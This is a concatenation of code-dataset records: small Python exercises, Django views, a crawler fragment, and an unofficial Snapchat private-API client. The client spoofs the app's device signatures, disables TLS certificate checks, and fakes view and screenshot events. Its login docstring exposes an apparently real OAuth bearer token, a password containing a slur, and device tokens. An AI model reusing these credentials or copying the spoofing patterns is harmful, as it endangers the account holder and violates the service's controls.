outChannel):\n if(GPIO.input(inChannel) == True):\n if(currentInput == 0):\n currentInput = 1\n GPIO.output(outChannel,GPIO.HIGH)\n elif(currentInput == 1):\n currentInput = 0\n GPIO.output(outChannel,GPIO.LOW)\n else:\n return\n \ntry:\n while True:\n mainFunction(3,8)\n mainFunction(5,10)\n mainFunction(7,12)\n mainFunction(11,16)\n mainFunction(13,18)\nexcept:\n print(\"Error\")\n","sub_path":"testProg.py","file_name":"testProg.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"374649597","text":"\"\"\"\r\nGiven an array of integers sorted in ascending order, find the starting and ending position of a given target value.\r\n\r\nYour algorithm's runtime complexity must be in the order of O(log n).\r\n\r\nIf the target is not found in the array, return [-1, -1].\r\n\r\nFor example,\r\nGiven [5, 7, 7, 8, 8, 10] and target value 8,\r\nreturn [3, 4].\r\n\"\"\"\r\nclass Solution(object):\r\n def searchRange(self, nums, target):\r\n \"\"\"\r\n :type nums: List[int]\r\n :type target: int\r\n :rtype: List[int]\r\n \"\"\"\r\n first=0\r\n second=0\r\n flag=False\r\n \r\n l=0\r\n r=len(nums)-1\r\n \r\n while l<=r:\r\n mid=l+(r-l)/2\r\n \r\n if nums[mid]==target:\r\n flag=True\r\n if nums[mid]<=target:\r\n l=mid+1\r\n else:\r\n r=mid-1\r\n second=l\r\n \r\n l=0\r\n r=len(nums)-1\r\n \r\n while l<=r:\r\n mid=l+(r-l)/2\r\n \r\n if nums[mid]==target:\r\n flag=True\r\n if nums[mid]>=target:\r\n r=mid-1\r\n else:\r\n l=mid+1\r\n first=l\r\n \r\n if flag:\r\n return [first,second-1]\r\n return [-1,-1]","sub_path":"34_Search for a Range.py","file_name":"34_Search for a Range.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"376887947","text":"import time\nclass HitCounter:\n\n def __init__(self):\n \"\"\"\n Initialized data structure of counter\n \"\"\"\n self.record = []\n self.length = 0\n\n def hit(self, timestamp):\n \"\"\"\n Record a hit.\n @param timestamp - The current timestamp (in seconds granularity).\n :type timestamp: int\n :rtype: void\n \"\"\"\n self.record.append(timestamp)\n \n self.length +=1\n \n \n\n def getHits(self, timestamp):\n \"\"\"\n Return the number of hits in the past 5 minutes.\n @param timestamp - The current timestamp (in seconds granularity).\n :type timestamp: int\n :rtype: int\n \"\"\"\n # init start time, and make sure start is positive\n start = timestamp - 300\n if start < 0:\n start = 0\n \n i = 0\n counter = 0\n # find starting timestamp value to count\n while i<self.length and self.record[i] <= start :\n i+=1\n # count number of timestamps in time range\n while i < self.length and self.record[i] <= timestamp :\n counter +=1\n i+=1\n \n return counter\n \n \n\n\n \n \nobj = HitCounter()\nobj.hit(timestamp)\nparam_2 = obj.getHits(timestamp)","sub_path":"hit_counter.py","file_name":"hit_counter.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"569051390","text":"#!/usr/bin/env python3\n\"\"\"Project Euler, Problem 35.\n\nAny potential circular prime (with more than a single digit) can be composed\nonly of the digits 1, 3, 7, and 9; otherwise, at least one of the rotations\nof the number would produce an even integer or a multiple of 5.\n\nBegin by generating all two digit numbers formed from the above 4 digits. Find\nthe rotations of each one and check their primality to verify if the number is\na circular prime. Then move to three digits, then four, etc. until all 6 digit\nnumbers have been checked.\n\"\"\"\nfrom itertools import product\n\n\ndef is_prime(n):\n \"\"\"Return True if the given number is prime.\"\"\"\n if n < 2:\n return False\n\n if n != 2 and n % 2 == 0:\n return False\n\n d = 3\n while d * d <= n:\n if n % d == 0:\n return False\n d += 2\n\n return True\n\n\ndef rotations(n, d):\n \"\"\"Return a list of all rotations of n with number of digits d in base 10.\n \"\"\"\n rotations = []\n for _ in range(d):\n n = (n % 10 ** (d - 1)) * 10 + (n // 10 ** (d - 1))\n rotations.append(n)\n\n return rotations\n\n\ndef is_circular_prime(n, d):\n \"\"\"Return True if n with number of digits d in base 10 is a circular prime.\n \"\"\"\n return all(is_prime(r) for r in rotations(n, d))\n\n\nif __name__ == '__main__':\n circular_primes = [2, 3, 5, 7]\n allowed_digits = ['1', '3', '7', '9']\n\n for num_digits in range(2, 7):\n for num_tuple in product(allowed_digits, repeat=num_digits):\n num = int(''.join(num_tuple))\n if is_circular_prime(num, num_digits):\n circular_primes.append(num)\n\n print(len(circular_primes))\n","sub_path":"001-050/p035.py","file_name":"p035.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"107932911","text":"#!/usr/bin/env python\n\nimport json\nimport os.path\nimport hashlib\nimport hmac\nfrom time import time\nimport datetime\nimport logging\nimport pprint\nimport pycurl\nimport human_curl as requests\nfrom retrying import retry\n#import requests\nlogger = logging.getLogger(__name__)\nfrom snapchat.util import (\n encrypt, decrypt, decrypt_story,\n make_media_id, is_video, is_videomage, is_zip, timestamp, make_request_token)\nimport snapchat.exceptions\nfrom ad_research.util import mkdir_p\nfrom snapchat.constants import (\n BASE_URL, STATIC_TOKEN,\n MEDIA_TYPE_IMAGE, MEDIA_TYPE_VIDEO, MEDIA_TYPE_VIDEO_WITHOUT_AUDIO,\n FRIEND_CONFIRMED, FRIEND_UNCONFIRMED, FRIEND_BLOCKED, PRIVACY_EVERYONE,\n PRIVACY_FRIENDS,\n)\n\n\ndef get_file_extension(media_type):\n if media_type in (MEDIA_TYPE_VIDEO, MEDIA_TYPE_VIDEO_WITHOUT_AUDIO):\n return 'mp4'\n if media_type == MEDIA_TYPE_IMAGE:\n return 'jpg'\n return ''\n\n\ndef get_media_type(data):\n if is_video(data):\n return MEDIA_TYPE_VIDEO\n if is_image(data):\n return MEDIA_TYPE_IMAGE\n return None\n\n\ndef generate_dsig(username, password, timestamp, req_token, dtoken1v):\n msg = username + \"|\" + password + \"|\" + str(timestamp) + \"|\" + req_token\n dsig = hmac.new(dtoken1v.encode('ascii'), msg.encode('utf8'), hashlib.sha256)\n dsig = dsig.hexdigest()[0:20]\n return dsig\n\ndef _map_keys(snap):\n return {\n u'id': snap.get('id', None),\n u'media_id': snap.get('c_id', None),\n u'media_type': snap.get('m', None),\n u'time': snap.get('t', None),\n u'sender': snap.get('sn', None),\n u'recipient': snap.get('rp', None),\n u'status': snap.get('st', None),\n u'screenshot_count': snap.get('c', None),\n u'sent': snap.get('sts', None),\n u'opened': snap.get('ts', None),\n }\n\n\nclass Snapchat(object):\n \"\"\"Construct a :class:`Snapchat` object used for communicating\n with the Snapchat API.\n Usage:\n from pysnap import Snapchat\n snapchat = Snapchat()\n snapchat.login('username', 'password')\n ...\n \"\"\"\n def __init__(self, username, password, google_oauth=None,\n attestation=None,\n dtoken1i=None,\n dtoken1v=None,\n ptoken=None,\n proxies=None, log_to_file=True,\n user_agent='Snapchat/9.5.2.0 (D6503; Android 4.4.2#xf5vdw#19; gzip)'):\n if not google_oauth:\n self.google_oauth = 'ng'\n else:\n self.google_oauth = google_oauth\n self.attestation = attestation\n self.conn_seq_num = 1\n self.dtoken1i = dtoken1i\n self.dtoken1v = dtoken1v\n self.ptoken = ptoken\n self.user_agent = user_agent\n self.username = username.lower()\n self.password = password\n self.auth_token = None\n self.proxies = proxies\n\n self.headers = {\n 'User-Agent': self.user_agent,\n 'Accept-Language': 'en',\n 'Accept-Locale': 'en_US',\n 'Accept-Encoding': 'gzip',\n 'Accept': '',\n 'X-Snapchat-Client-Auth-Token': 'Bearer %s' % self.google_oauth,\n 'Connection' : 'Keep-Alive',\n 'Expect': '',\n }\n self._init_video_settings()\n self.logger = logging.getLogger(__name__)\n self.logger.setLevel(logging.DEBUG)\n self.start_time = datetime.datetime.utcnow()\n self.friends_response = {}\n self.conversations_response = {}\n self.updates_response = {}\n self._init_log_file(log_to_file)\n self.opener = pycurl.Curl()\n #\n # self.opener = None\n print(self.ip_check())\n\n\n def _init_log_file(self, log_to_file):\n self.logger = logging.getLogger(__name__)\n self.logger.setLevel(logging.DEBUG)\n self.start_time = datetime.datetime.utcnow()\n if log_to_file:\n\n log_file = 'logs/{username}/{date}/client-{time}.log'.format(\n username=self.username,\n date=self.start_time.strftime('%Y-%m-%d'),\n time=self.start_time.strftime(\"%H-%M-%S-%f\"))\n log_dir = os.path.dirname(log_file)\n mkdir_p(log_dir)\n handler = logging.FileHandler(os.path.join(log_file), 'w')\n self.logger.addHandler(handler)\n\n\n def _request(self, endpoint, data=None, files=None,\n raise_for_status=True, req_type='post', sign_dsig=False, api_url=BASE_URL, timeout=300):\n message = \"REQ: %s %s\" % (req_type, endpoint)\n self.logger.info(message)\n self.logger.debug('REQ data: %s \\n files: NA' % (data))\n resp = self.request(endpoint, self.auth_token, data, files,\n raise_for_status, req_type=req_type, proxies=self.proxies, sign_dsig=sign_dsig, api_url=api_url, timeout=timeout)\n\n self.logger.debug(\"RESP %s %s\" % (endpoint, resp.content))\n return resp\n\n @retry(wait_exponential_multiplier=2000, wait_exponential_max=20000, stop_max_attempt_number=7)\n def request(self, endpoint, auth_token, data=None, files=None,\n raise_for_status=True, req_type='post', proxies=None, sign_dsig=False,\n api_url=BASE_URL, timeout=300):\n \"\"\"Wrapper method for calling Snapchat API which adds the required auth\n token before sending the request.\n :param endpoint: URL for API endpoint\n :param data: Dictionary containing form data\n :param raise_for_status: Raise exception for 4xx and 5xx status codes\n :param req_type: The request type (GET, POST). Defaults to POST\n Accept-Language: en\n Accept-Locale: en_US\n User-Agent: Snapchat/9.3.1.0 (D6503; Android 4.4.2#xf5vdw#19; gzip)\n Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n Content-Length: 123\n Host: feelinsonice-hrd.appspot.com\n Connection: Keep-Alive\n Accept-Encoding: gzip\n \"\"\"\n now = timestamp()\n if data is None:\n data = {}\n headers_copy = self.headers.copy()\n if req_type == 'post':\n data.update({\n 'timestamp': now,\n 'req_token': make_request_token(auth_token or STATIC_TOKEN, str(now)),\n })\n if len(str(data['timestamp'])) != len(str(1427387629118)):\n raise Exception('timestamp format incorrect')\n if sign_dsig and self.dtoken1i and self.dtoken1v:\n\n data['dtoken1i'] = self.dtoken1i\n data['dsig'] = generate_dsig(self.username, self.password, data['timestamp'], data['req_token'], self.dtoken1v)\n elif sign_dsig:\n data['nt'] = 1\n if not files:\n\n headers_copy['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'\n\n r = requests.post(api_url + endpoint, data=data, files=files,\n headers=headers_copy,\n timeout=timeout, proxies=proxies, verify=False, use_gzip=True, opener=self.opener)\n elif req_type == 'get_auth':\n data.update({\n 'req_token': make_request_token(auth_token or STATIC_TOKEN, str(now)),\n 'timestamp': str(now),\n })\n r = requests.get(api_url + endpoint, params=data, headers=self.headers,\n timeout=timeout, connection_timeout=300, proxies=proxies, verify=False, use_gzip=True, opener=self.opener)\n else:\n r = requests.get(api_url + endpoint, params=data, headers=headers_copy,\n timeout=timeout, connection_timeout=300, proxies=proxies, verify=False, use_gzip=True, opener=self.opener)\n if raise_for_status:\n r.raise_for_status()\n return r\n\n\n def ip_check(self):\n \"\"\"\n Check's proxies ip\n \"\"\"\n ip = ''\n try:\n result = self._request('ip', req_type='get', api_url=\"https://httpbin.org/\")\n ip = result.json().get('origin', '')\n except Exception as e:\n pass\n ip = 'unknown'\n return ip\n\n\n def _unset_auth(self):\n self.auth_token = None\n\n def login(self, ptoken=None):\n \"\"\"Login to Snapchat account\n Returns a dict containing user information on successful login, the\n data returned is similar to get_updates.\n :param username Snapchat username\n :param password Snapchat password\n Accept-Language: en\n Accept-Locale: en_US\n User-Agent: Snapchat/9.3.1.0 (D6503; Android 4.4.2#xf5vdw#19; gzip)\n X-Snapchat-Client-Auth-Token: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjRhMzE4ZmJiNzFhYTlhYWY5OTU2OWZmYTdkZmI5MmVhOTcyN2M1YjIifQ.eyJpc3MiOiJhY2NvdW50cy5nb29nb GUuY29tIiwic3ViIjoiMTE0ODYwMjMzNzU5NTYwODg4MjI3IiwiYXpwIjoiNjk0ODkzOTc5MzI5LXFnMGkwdTg4dDBobThrNmsxbWJyYm5zdWoxMDFoNzN2LmFw\n cHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwiZW1haWwiOiJidWRsaWdodEBnbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiYXVkIjoiNjk0ODkzOTc 5MzI5LWw1OWYzcGhsNDJldDljbHBvbzI5NmQ4cmFxb2xqbDZwLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tIiwiaWF0IjoxNDI2OTg1Mjc3LCJleHAiOjE0Mj\n Y5ODkwNTd9.1BjPmBNBNLqHWDXx1Nw_AGrW9KBl3CyV_9Pp6Zu9hSMga-t79_m16nFAN2R253pse2nqwHA4kOpJ5e_rk4E8kSubOkJ1sys2T_sHOID1XQ0ezmVF 3YfgVgqlGyZ86iE8UzhW9g11hhKOnxVymycjtxXJ-MD_8V_mcq8N4LSjs4g\n Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n Content-Length: 502\n Host: feelinsonice-hrd.appspot.com\n Connection: Keep-Alive\n Accept-Encoding: gzip\n\n dsig: 968d3ff18fc42534027b (dynamic)\n dtoken1i: 00001:2eFPIoL1Qa+k1T4Sc0WWAbtd60W4oDG+Qu2uKOY+xHimLlQfOmVQzZ3qgCW2aKHc (staticish?)\n height: 1776\n max_video_height: 1776\n max_video_width: 1080\n password: dekisgay247\n ptoken: APA91bErJaK7ZzC09QaWd2DYUiyEP3H_unHozepFmn5w4bm0P1YSacbEzKnnrKqawfni7P0HIBArOIUyRkk8F0nmS_h6u8J1tRNXZ7zinDaMhv2tDDI2w0krMfVMATH-soUTsz1ie07yYo42oYeD0o-IDcy9PlmUwg (staticish)\n req_token: 9306d757b18108486e1016e2ffad34f44de94d8f199c8a8c99b4a914d9c5187b\n retry: 0\n timestamp: 1426985461905\n username: budlightfordayz\n width: 1080\n\n notes:\n\n ptoken is the Google Cloud Messaging Registration ID,\n dtoken1i is the Device token ID\n dtoken1v is the Device token value\n dsig is the Device token signature\n dsig is the SHA256 HMAC of [USERNAME]|[PASSWORD]|[TIMESTAMP]|[REQUEST_TOKEN] using dtoken1v as the secret key.\n \"\"\"\n # TODO: add dsig, dtoken1i, height, width, max_video_height, max_video_width, ptoken, retry\n data = {\n 'username': self.username,\n 'password': self.password,\n #'retry': 0,\n 'ptoken': ptoken,\n #'attestation': self.attestation,\n 'application_id': 'com.snapchat.android',\n 'features_map': json.dumps({\"all_updates_friends_response\": True})\n }\n self.add_video_size_data(data)\n self._unset_auth()\n r = self._request('loq/login', data, sign_dsig=True, timeout=600)\n result = r.json()\n\n if 'updates_response' in result:\n\n if 'auth_token' in result['updates_response']:\n self.auth_token = result['updates_response']['auth_token']\n self.friends_response = result.get('friends_response', {})\n self.conversations_response = result.get('conversations_response', {})\n self.updates_response = result.get('updates_response', {})\n self.messaging_gateway_info = result.get('messaging_gateway_info', {})\n # pprint.pprint(self.messaging_gateway_info)\n self.stories_response = result.get('stories_response', {})\n\n if self.auth_token is None:\n if result['message'] == \"That's not the right password. Sorry!\":\n raise snapchat.exceptions.IncorrectPassword()\n if result.get('status') == -102:\n raise snapchat.exceptions.AccountLocked()\n if result.get('status') == -101:\n raise snapchat.exceptions.NoAccountUsername()\n if result.get('message', '').find(\"You're using a version\") != -1:\n raise snapchat.exceptions.OutdatedVersion()\n raise Exception(result.get('status'), result.get('message'))\n\n return result\n\n def logout(self):\n \"\"\"Logout of Snapchat account\n Returns true if logout was successful.\n \"\"\"\n r = self._request('loq/logout', {'username': self.username})\n return len(r.content) == 0\n\n def device(self, device_token):\n \"\"\"Logout of Snapchat account\n Returns true if logout was successful.\n \"\"\"\n r = self._request('ph/device', {\n 'username': self.username,\n 'device_token': device_token,\n 'type': 'android',\n 'features_map': json.dumps({})\n })\n return r.status_code\n\n def device_id(self):\n \"\"\"\n get dtoken1i and dtoken1v\n this can also be accomplished by sending nt=1 to loq/login\n\n \"\"\"\n r = self._request('log/device_id', {\n })\n return r.status_code\n\n def get_shared_description(self, shared_id):\n r = self._request('shared/description', {\n 'username': self.username,\n 'shared_id': shared_id,\n 'features_map': json.dumps({})\n })\n return r.json()\n\n def get_thumbnail(self, url):\n r = self._request('', req_type='get', api_url=url)\n return r.json()\n\n def get_updates(self, update_timestamp=0):\n \"\"\"Get user, friend and snap updates\n Returns a dict containing user, friends and snap information.\n :param update_timestamp: Optional timestamp (epoch in seconds) to limit\n updates\n \"\"\"\n r = self._request(\n 'loq/all_updates',\n {\n 'username': self.username,\n 'update_timestamp': update_timestamp,\n 'features_map': json.dumps({\"all_updates_friends_response\": True})\n },\n timeout=600,\n\n )\n result = r.json()\n \"\"\"\n pprint.pprint(result.keys())\n pprint.pprint(result['messaging_gateway_info'])\n pprint.pprint(result['server_info'])\n pprint.pprint(result['identity_check_response'])\n pprint.pprint(result['background_fetch_secret_key'])\n \"\"\"\n #pprint.pprint(result['conversations_response'].keys())\n if result:\n if 'auth_token' in result:\n self.auth_token = result['auth_token']\n self.friends_response = result.get('friends_response', {})\n self.conversations_response = result.get('conversations_response', {})\n self.updates_response = result.get('updates_response', {})\n self.messaging_gateway_info = result.get('messaging_gateway_info', {})\n # pprint.pprint(self.messaging_gateway_info)\n self.stories_response = result.get('stories_response', {})\n else:\n print(\"no update result\")\n return result\n\n def get_snaps(self, update_timestamp=0):\n \"\"\"Get snaps\n Returns a dict containing metadata for snaps\n :param update_timestamp: Optional timestamp (epoch in seconds) to limit\n updates\n \"\"\"\n updates = self.get_updates(update_timestamp)\n # Filter out snaps containing c_id as these are sent snaps\n return [_map_keys(snap) for snap in updates['snaps']\n if 'c_id' not in snap]\n\n\n\n def get_friend_stories(self, update_timestamp=0):\n \"\"\"Get stories\n Returns a dict containing metadata for stories\n :param update_timestamp: Optional timestamp (epoch in seconds) to limit\n updates\n \"\"\"\n r = self._request(\"bq/all_updates\", {\n 'username': self.username,\n 'update_timestamp': update_timestamp\n })\n result = r.json()\n if 'auth_token' in result:\n self.auth_token = result['auth_token']\n stories = []\n story_groups = result['stories_response']['friend_stories']\n for group in story_groups:\n sender = group['username']\n for story in group['stories']:\n obj = story['story']\n obj['sender'] = sender\n stories.append(obj)\n return stories\n\n def get_story_blob(self, story_id, story_key, story_iv):\n \"\"\"Get the image or video of a given snap\n Returns the decrypted image or a video of the given snap or None if\n data is invalid.\n :param story_id: Media id to fetch\n :param story_key: Encryption key of the story\n :param story_iv: Encryption IV of the story\n \"\"\"\n r = self._request('bq/story_blob', {'story_id': story_id},\n raise_for_status=False, req_type='get', timeout=600)\n data = decrypt_story(r.content, story_key, story_iv)\n if any((is_image(data), is_video(data), is_zip(data))):\n return data\n return None\n\n def get_blob(self, snap_id):\n \"\"\"Get the image or video of a given snap\n Returns the decrypted image or a video of the given snap or None if\n data is invalid.\n :param snap_id: Snap id to fetch\n \"\"\"\n r = self._request('ph/blob', {\n 'username': self.username,\n 'id': snap_id\n },\n req_type='get_auth',\n raise_for_status=False,\n timeout=600,\n\n )\n\n data = r.content\n if any((is_image(data), is_video(data), is_zip(data))):\n if data is not None:\n return data\n data = decrypt(data)\n\n if any((is_image(data), is_video(data), is_zip(data))):\n return data\n return None\n\n def send_events(self, events, data=None):\n \"\"\"Send event data\n Returns true on success.\n :param events: List of events to send\n :param data: Additional data to send\n \"\"\"\n if data is None:\n data = {}\n r = self._request('bq/update_snaps', {\n 'username': self.username,\n 'events': json.dumps(events),\n 'json': json.dumps(data)\n })\n return len(r.content) == 0\n\n def mark_viewed(self, sender, snap_id, view_duration=2):\n \"\"\"Mark a snap as viewed\n Returns true on success.\n :param snap_id: Snap id to mark as viewed\n :param view_duration: Number of seconds snap was viewed\n \"\"\"\n now = time()\n data = {\n snap_id: {\n 't': now,\n 'sv': view_duration,\n 'c': 0,\n 'replayed': 0,\n }\n }\n events = [\n {\n u'eventName': u'SNAP_VIEW', u'params': {\n 'id': snap_id,\n 'sender': sender,\n \"time\": view_duration,\n # \"friendCount\":\"5997\",\n # \"type\": \"IMAGE\",\n },\n u'ts': int(round(now)) - view_duration\n },\n {\n u'eventName': u'SNAP_EXPIRED', u'params': {u'id': snap_id},\n u'ts': int(round(now))\n }\n ]\n return self.send_events(events, data)\n\n def mark_screenshot(self, snap_id, view_duration=1):\n \"\"\"Mark a snap as screenshotted\n Returns true on success.\n :param snap_id: Snap id to mark as viewed\n :param view_duration: Number of seconds snap was viewed\n \"\"\"\n now = time()\n data = {snap_id: {u't': now, u'sv': view_duration, u'c': 3}}\n events = [\n {\n u'eventName': u'SNAP_SCREENSHOT', u'params': {u'id': snap_id},\n u'ts': int(round(now)) - view_duration\n }\n ]\n return self.send_events(events, data)\n\n def update_privacy(self, friends_only):\n \"\"\"Set privacy settings\n Returns true on success.\n :param friends_only: True to allow snaps from friends only\n \"\"\"\n setting = lambda f: PRIVACY_FRIENDS if f else PRIVACY_EVERYONE\n r = self._request('bq/settings', {\n 'username': self.username,\n 'action': 'updatePrivacy',\n 'privacySetting': setting(friends_only)\n })\n return r.json().get('param') == str(setting(friends_only))\n\n def get_friends(self):\n \"\"\"Get friends\n Returns a list of friends.\n \"\"\"\n return self.friends_response.get('friends', [])\n\n def get_best_friends(self):\n \"\"\"Get best friends\n Returns a list of best friends.\n \"\"\"\n return self.friends_response.get('bests', [])\n\n def get_bests(self, friends):\n \"\"\"Get best friends\n Returns a list of best friends.\n \"\"\"\n r = self._request('bq/bests', {\n 'username': self.username,\n 'friend_usernames': json.dumps(friends),\n })\n return r.json()\n\n def add_friend(self, username, action='add'):\n \"\"\"Add user as friend\n Returns JSON response.\n Expected messages:\n Success: '{username} is now your friend!'\n Pending: '{username} is private. Friend request sent.'\n Failure: 'Sorry! Couldn't find {username}'\n :param username: Username to add as a friend\n \"\"\"\n r = self._request('bq/friend', {\n 'action': action,\n 'friend': username,\n 'username': self.username,\n 'added_by': 'ADDED_BY_USERNAME',\n 'features_map': json.dumps({}),\n })\n return r.json()\n\n def delete_friend(self, username):\n \"\"\"Remove user from friends\n Returns true on success.\n :param username: Username to remove from friends\n \"\"\"\n r = self._request('bq/friend', {\n 'action': 'delete',\n 'friend': username.lower(),\n 'username': self.username,\n 'features_map': json.dumps({}),\n\n })\n return r.json()\n\n\n def block(self, username):\n \"\"\"Block a user\n Returns true on success.\n :param username: Username to block\n \"\"\"\n r = self._request('bq/friend', {\n 'action': 'block',\n 'friend': username,\n 'username': self.username\n })\n return r.json().get('message') == '{0} was blocked'.format(username)\n\n def unblock(self, username):\n \"\"\"Unblock a user\n Returns true on success.\n :param username: Username to unblock\n \"\"\"\n r = self._request('bq/friend', {\n 'action': 'unblock',\n 'friend': username,\n 'username': self.username\n })\n return r.json().get('message') == '{0} was unblocked'.format(username)\n\n def set_display_name(self, name):\n \"\"\"\n :param username: Username to unblock\n \"\"\"\n r = self._request('bq/friend', {\n 'action': 'display',\n 'friend': self.username,\n 'display': name,\n 'username': self.username,\n 'features_map': json.dumps({}),\n })\n return r.json()\n\n\n def get_blocked(self):\n \"\"\"Find blocked users\n Returns a list of currently blocked users.\n \"\"\"\n return [f for f in self.get_friends() if f['type'] == FRIEND_BLOCKED]\n\n def upload(self, path):\n \"\"\"Upload media\n Returns the media ID on success. The media ID is used when sending\n the snap.\n \"\"\"\n if not os.path.exists(path):\n raise ValueError('No such file: {0}'.format(path))\n\n with open(path, 'rb') as f:\n data = f.read()\n\n media_type = get_media_type(data)\n if media_type is None:\n raise ValueError('Could not determine media type for given data')\n\n media_id = make_media_id(self.username)\n r = self._request('ph/upload', {\n 'username': self.username,\n 'media_id': media_id,\n 'type': media_type,\n 'features_map': json.dumps({}),\n }, files={\n #'data': encrypt(data)\n 'data': data\n })\n\n return media_id if len(r.content) == 0 else None\n\n def send(self, media_id, recipients, time=8.0):\n \"\"\"Send a snap. Requires a media_id returned by the upload method\n Returns true if the snap was sent successfully\n \"\"\"\n if 'teamsnapchat' in [x.lower().strip() for x in recipients]:\n self.log(\"don't send to teamsnapchat you idiot\")\n return\n\n if not isinstance(recipients, list):\n raise Exception('send recipents must be a list')\n r = self._request('loq/send', {\n 'username': self.username,\n 'media_id': media_id,\n 'recipients': json.dumps(recipients),\n 'time': \"%.1f\" % time,\n 'zipped': '0',\n 'features_map': json.dumps({}),\n 'camera_front_facing': 0,\n })\n return len(r.content) == 0\n\n def send_to_story(self, media_id, time=5, media_type=0):\n \"\"\"Send a snap to your story. Requires a media_id returned by the upload method\n Returns true if the snap was sent successfully.\n \"\"\"\n r = self._request('bq/post_story', {\n 'username': self.username,\n 'media_id': media_id,\n 'client_id': media_id,\n 'time': time,\n 'type': media_type,\n 'zipped': '0'\n })\n return r.json()\n\n def get_conversation(self, conversation_id):\n \"\"\"Send a snap to your story. Requires a media_id returned by the upload method\n Returns true if the snap was sent successfully.\n \"\"\"\n r = self._request('loq/conversation', {\n 'username': self.username,\n 'conversation_id': conversation_id,\n })\n return r.json()\n\n def chat_typing(self, recipient_usernames):\n \"\"\"Send a snap to your story. Requires a media_id returned by the upload method\n Returns true if the snap was sent successfully.\n \"\"\"\n self.conn_seq_num += 1\n r = self._request('bq/chat_typing', {\n 'username': self.username,\n 'recipient_usernames': json.dumps(recipient_usernames, separators=(',', ':')),\n })\n return r.json()\n\n def post_conversation_messages(self, messages):\n \"\"\"Send a snap to your story. Requires a media_id returned by the upload method\n Returns true if the snap was sent successfully.\n \"\"\"\n self.conn_seq_num += 1\n r = self._request('loq/conversation_post_messages', {\n 'username': self.username,\n 'messages': json.dumps(messages, separators=(',', ':')),\n 'auth_token': self.auth_token,\n })\n return r.json()\n\n def clear_feed(self):\n \"\"\"Clear the user's feed\n Returns true if feed was successfully cleared.\n \"\"\"\n\n r = self._request('bq/clear', {\n 'username': self.username\n })\n\n return len(r.content) == 0\n\n\n\n\nclass Snapchat9(Snapchat):\n\n\n\n def _init_video_settings(self, max_video_height=1776, max_video_width=1080):\n self.max_video_height = max_video_height\n self.max_video_width = max_video_width\n self.height = max_video_height\n self.width = max_video_width\n\n\n def add_video_size_data(self, data):\n data['max_video_height'] = self.max_video_height\n data['max_video_width'] = self.max_video_width\n data['width'] = self.width\n data['height'] = self.height\n return data\n\n\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":28231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"552304784","text":"from django.shortcuts import render, render_to_response, RequestContext\nfrom django.http import HttpResponseRedirect\nfrom apps.Admin.models import Grupos, Registros\n\ndef IndexView(request):\n\tif request.user.is_authenticated and request.user.is_staff and request.user.is_superuser:\n\t\treturn HttpResponseRedirect('/Administrador/')\n\telif request.user.is_authenticated and request.user.is_staff:\n\t\treturn render_to_response('Maestros/index.html',context_instance=RequestContext(request))\n\telse:\n\t\treturn HttpResponseRedirect('/alumno/')\n\ndef MisGruposView(request):\n\tif request.user.is_authenticated and request.user.is_staff and request.user.is_superuser:\n\t\treturn HttpResponseRedirect('/Administrador/')\n\telif request.user.is_authenticated and request.user.is_staff:\n\t\tgrupos = Grupos.objects.filter(maestro=request.user.id)\n\t\tctx = {'grupos':grupos}\n\t\treturn render_to_response('Maestros/misgrupos.html',ctx,context_instance=RequestContext(request))\n\telse:\n\t\treturn HttpResponseRedirect('/alumno/')\n\ndef SingleGrupoView(request,id_grupo):\n if request.user.is_authenticated and request.user.is_staff and request.user.is_superuser:\n return HttpResponseRedirect('/Administrador/')\n elif request.user.is_authenticated and request.user.is_staff:\n grupo = Grupos.objects.get(pk=id_grupo)\n registros = Registros.objects.filter(grupo=grupo.nombre,status='Cursando')\n if request.method ==\"POST\":\n if \"actualizar\" in request.POST:\n try:\n counter = 1\n for estado in registros:\n new_esta = request.POST['status%s'%(counter)]\n estado.status = new_esta\n estado.save()\n counter += 1\n ctx = {'grupo':grupo,'registros':registros}\n return render_to_response('Maestros/boleta.html',ctx,context_instance=RequestContext(request))\n #return HttpResponseRedirect('/maestro/grupo/%s/'%(id_grupo))\n except:\n return HttpResponseRedirect('/maestro/grupos/%s/'%(id_grupo))\n ctx = {'grupo':grupo,'registros':registros}\n return render_to_response('Maestros/single_grupo.html',ctx,context_instance=RequestContext(request))\n else:\n return HttpResponseRedirect('/alumno/')","sub_path":"apps/Maestros/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"68005910","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ncrawl bgm.tv, gen json file.\n\"\"\"\n\nimport sys\nimport os\nimport json\nfrom copy import deepcopy\nfrom concurrent.futures import ThreadPoolExecutor\nfrom itertools import repeat\nfrom datetime import datetime\n\nimport fire\nimport requests\nfrom requests import RequestException, Timeout\nfrom lxml import etree\n\n\ndef get_page(url, timeout=10):\n \"\"\" download html according to an url \"\"\"\n print(f\"Fetch page {url}\", file=sys.stderr)\n headers = {\n \"Referer\": url,\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36\",\n }\n rsp = requests.get(url, headers=headers, timeout=timeout)\n if rsp.status_code != 200:\n raise RequestException(\"request failed.\")\n html = rsp.content\n return html.decode(\"utf-8\")\n\n\ndef parse_subjects(html):\n tree = etree.HTML(html)\n item_list = tree.xpath('//*[@id=\"browserItemList\"]')[0]\n subs = [\n (li.attrib['id'].split('_')[1], parse_name(li))\n for li in item_list\n 